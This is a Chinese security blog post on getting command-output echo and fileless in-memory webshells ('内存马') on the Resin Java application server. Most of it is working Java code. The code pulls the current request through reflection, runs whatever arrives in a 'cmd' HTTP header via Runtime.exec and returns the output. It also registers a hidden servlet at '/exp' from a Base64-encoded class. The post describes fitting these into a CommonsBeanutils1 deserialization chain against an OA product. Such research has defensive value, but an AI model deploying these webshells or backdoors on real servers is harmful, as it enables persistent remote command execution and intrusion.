Resin回显及内存马
九五二七 漏洞分析 5449浏览 · 2021-06-07 03:50

Resin回显及内存马

回显

回显的通用思路是通过反射获取当前 request 对象来实现的,这个 request 一般是存储在当前线程对象中。resin 比较简单,就直接存储在线程对象的 threadLocals 属性的表里:

所以实现回显只需通过反射获取当前线程的 threadLocals 属性,然后遍历内容取出 com.caucho.server.http.HttpRequest 对象,之后在 Response 里写内容即可。

没啥好说的,前人已有代码总结:

try {
    // Thread.currentThread().getClass() 是 com.caucho.env.thread2.ResinThread2
    Field f = Thread.currentThread().getClass().getSuperclass().getDeclaredField("threadLocals");
    f.setAccessible(true);
    Object obj = f.get(Thread.currentThread());
    f = obj.getClass().getDeclaredField("table");
    f.setAccessible(true);
    obj = f.get(obj);
    Object[] obj_arr = (Object[]) obj;
    for(int i = 0; i < obj_arr.length; i++) {
        Object o = obj_arr[i];
        if (o == null) continue;
        f = o.getClass().getDeclaredField("value");
        f.setAccessible(true);
        obj = f.get(o);
        if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
            com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
            String cmd = httpRequest.getHeader("cmd");

            if(cmd != null && !cmd.isEmpty()){
                String resp = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
                        .useDelimiter("\\A").next();
                com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
                httpResponse.setHeader("Content-Length", resp.length() + "");
                java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
                method.setAccessible(true);
                com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
                httpResponseStream.write(resp.getBytes(), 0, resp.length());
                httpResponseStream.close();
            }

            break;
        }
    }

} catch (Exception e) {

}

还有一种方法也是常见的回显方式之一,就是有些中间件会把当前 request 对象存储在静态变量或者特定类里,可以通过反射获取该静态变量或特定类,然后获取 request 对象,在 resin 中,可以通过 com.caucho.network.listen.TcpSocketLink 类获得

该类有个 getCurrentRequest 方法,可以获得当前 request

有现成的代码

Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
    Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
    Object currentRequest = getCurrentRequestM.invoke(null);
    Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
    f.setAccessible(true);
    Object response = f.get(currentRequest);
    Method getWriterM = response.getClass().getMethod("getWriter");
    Writer w = (Writer) getWriterM.invoke(response);
    w.write("powered by potatso");

类似的类还有 com.caucho.server.dispatch..ServletInvocation 等等

内存马

对于 servlet 类型来说,有大概动态注册 servletfilterlistener 几种方式。这里以 servlet 为例。

无论是动态注册 servletfilter 还是 listener,都要先获取到当前请求的上下文环境或者他的继承类,因为在其中存在的动态增加的方法:

一般可以通过 javax.servlet.ServletRequest.getServletContext() 获得。本来想着能直接复用上面回显的代码,结果发现之前取得的 Requestcom.caucho.server.http.HttpRequest,且并没有 getServletContext 方法,只能重新找。

调试发现常规请求会经过 com.caucho.server.dispatch.ServletInvocation:

且其 getContextRequest 方法能够获得 ServletRequest

那么获得 ServletContext 的过程就明明白白了。

接下来查找动态注册 servlet 的类,懒得看文档,先正常配置 web.xml,注册 servlet,断点查看是哪个类在添加 servlet

可以看到是 com.caucho.server.webapp.WebApp 类的 addServlet 方法,而且 WebApp 还是继承 ServletContext,那么这一套流程就完全走通了。

按照上述方法获得 ServletContext,然后强制转换成 com.caucho.server.webapp.WebApp 之后调用其 addServlet 方法即可:

Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
            ".ServletInvocation");
    Method getContextRequest = si.getMethod("getContextRequest");
    javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);
    com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) contextRequest
            .getServletContext();
    com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
    sci.setServletClass("servlet.exp");
    sci.setServletName("exp");
    web.addServlet(sci);

最后成功动态注册 Servlet:

接下来的问题就是给 Servlet 添加路由匹配,还是正常流程走一遍,发现是在 com.caucho.server.dispatch.ServletMapping 中添加路由:

ServletMapping 还是继承了 ServletConfigImpl,所以路由和类名就可以对应了,高兴地改了下代码:

com.caucho.server.dispatch.ServletMapping sci = new com.caucho.server.dispatch.ServletMapping();
    sci.setServletClass("servlet.exp");
    sci.setServletName("exp");
    web.addServlet(sci);

可惜没有成功,再次查看,发现了 ServletMapper

原来 ServletMapper 类才是存储路由的类,得 ServletMapperServletMapping 关联才行,查看 ServletMapping 代码,发现有个 init 方法是改变 ServletMapper 对象内容的:

而在 WebApp 中有个 addServletMapping 刚好调用了这个 init 方法:

所以更改上述代码:

com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
    smapping.setServletClass("servlet.exp");
    smapping.setServletName("exp");
    smapping.addURLPattern("/exp");

    web.addServletMapping(smapping);

成功动态注册 Servlet

filterlistener 也是相似的原理,其中 listener 更简单些,因为不需要路由。

实战

前段时间某oa的 Xstream反序列化 漏洞可以拿来练手,
正常利用可以直接通过 ysoserialCommonsBeanutils1

要回显或者内存马就需要修改 CommonsBeanutils1 链。
回显关键代码:

Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
                ".ServletInvocation");

        Method getContextRequest = si.getMethod("getContextRequest");
        com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl )
                getContextRequest.invoke(null);
        try{

            if (req.getHeader("cmd") != null) {
                String cmd = req.getHeader("cmd");
                javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse)  req.getServletResponse();
                PrintWriter out = rep.getWriter();
                out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
                        .useDelimiter("\\A").next());
            }

        }catch (Exception e ){
            e.printStackTrace();
        }

内存马相关代码:

Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
                ".ServletInvocation");

        Method getContextRequest = si.getMethod("getContextRequest");
        javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);

        Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
        Object web =getServletContext.invoke(contextRequest);

        com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;

        com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();

        String s1="your class";
        byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());

        java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
        m.setAccessible(true);
        m.setAccessible(true);
        m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{"cb.servletExp", bytes1, 0, bytes1.length});
        smapping.setServletClass("cb.servletExp");
        smapping.setServletName("exp");
        smapping.addURLPattern("/exp");

        web1.addServletMapping(smapping);

0 条评论
某人
表情
可输入 255